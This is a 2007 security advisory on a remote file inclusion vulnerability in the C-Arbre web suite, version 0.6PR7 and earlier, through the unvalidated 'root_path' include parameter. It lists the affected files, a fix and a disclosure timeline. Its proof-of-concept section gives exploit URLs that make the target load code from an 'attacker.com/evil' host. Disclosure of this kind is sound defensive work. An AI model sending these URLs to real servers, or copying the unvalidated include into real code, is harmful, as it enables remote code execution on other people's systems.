[ECHO_ADV_78$2007] C-Arbre <= 0.6PR7 (root_path) Remote File Inclusion Vulnerability Mar 27 2007 11:56AM
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[ECHO_ADV_78$2007] C-Arbre <= 0.6PR7 (root_path) Remote File Inclusion Vulnerability
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Author : M.Hasran Addahroni
Date : March, 26th 2007
Location : Australia, Sydney
Web : http://advisories.echo.or.id/adv/adv78-K-159-2007.txt
Critical Lvl : Dangerous
Impact : System access
Where : From Remote
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Affected software description:
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Application : C-Arbre
version : <= 0.6PR7
Vendor : http://realink.org/
Download : http://fresh.t-systems-sfr.com/unix/src/www/c-arbre_0.6PR7_full.tar.gz
Description :

C-Arbre is an integrated Intranet/Web software suite oriented towards knowledge management. Some of its key features include a CMS,
a documents repository, handling of collaborative work and editions, templates engineering, support for DocBook XML, XHTML and Wiki style, permissions and work flow,
a search engine with full text indexing, logging of actions, a cache system, groupware tools (calendar, Web mail, mailing lists, etc.),
automatic generation of a Web portal, and internationalization of the interface.

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Vulnerability:
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- Invalid include function at lib/Richtxt_functions.inc.php :

----------------lib/Richtxt_functions.inc.php-------------------
<?php
//try to integrate the wikimedia engine functions
include_once("$root_path/include/Wikitxt_functions.inc.php");

...
----------------------------------------------------------------

Input passed to the "root_path" parameter in lib/Richtxt_functions.inc.php is not properly verified before being used to include files.
This can be exploited to include arbitrary files from local or external resources.
Successful exploitation requires that "register_globals" is enabled.

also affected files :
lib/adddocfile.php
lib/auth_check.php
lib/browse_current_category.inc.php
lib/docfile_details.php
lib/main.php
lib/mainarticle.php
lib/maindocfile.php
lib/modify.php
lib/new.php
lib/resource_details.php
lib/smallsearch.php
mwiki/LocalSettings.php

Poc/Exploit:
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http://www.target.com/[C-Abre_path]/lib/Richtxt_functions.inc.php?root_p
ath=http://attacker.com/evil?
http://www.target.com/[C-Abre_path]/lib/adddocfile.php?root_path=http://
attacker.com/evil?
http://www.target.com/[C-Abre_path]/lib/auth_check.php?root_path=http://
attacker.com/evil?
http://www.target.com/[C-Abre_path]/lib/browse_current_category.inc.php?
root_path=http://attacker.com/evil?
http://www.target.com/[C-Abre_path]/lib/docfile_details.php?root_path=ht
tp://attacker.com/evil?
http://www.target.com/[C-Abre_path]/lib/main.php?root_path=http://attack
er.com/evil?

Solution:
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- Edit the source code to ensure that input is properly verified.
- Turn off register_globals

Notification:
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- 19-03-2007 bugs found
- 26-03-2007 vendor contacted
- 27-03-2007 advisory released
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Contact:
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K-159 || echo|staff || eufrato[at]gmail[dot]com
Homepage: http://k-159.echo.or.id/

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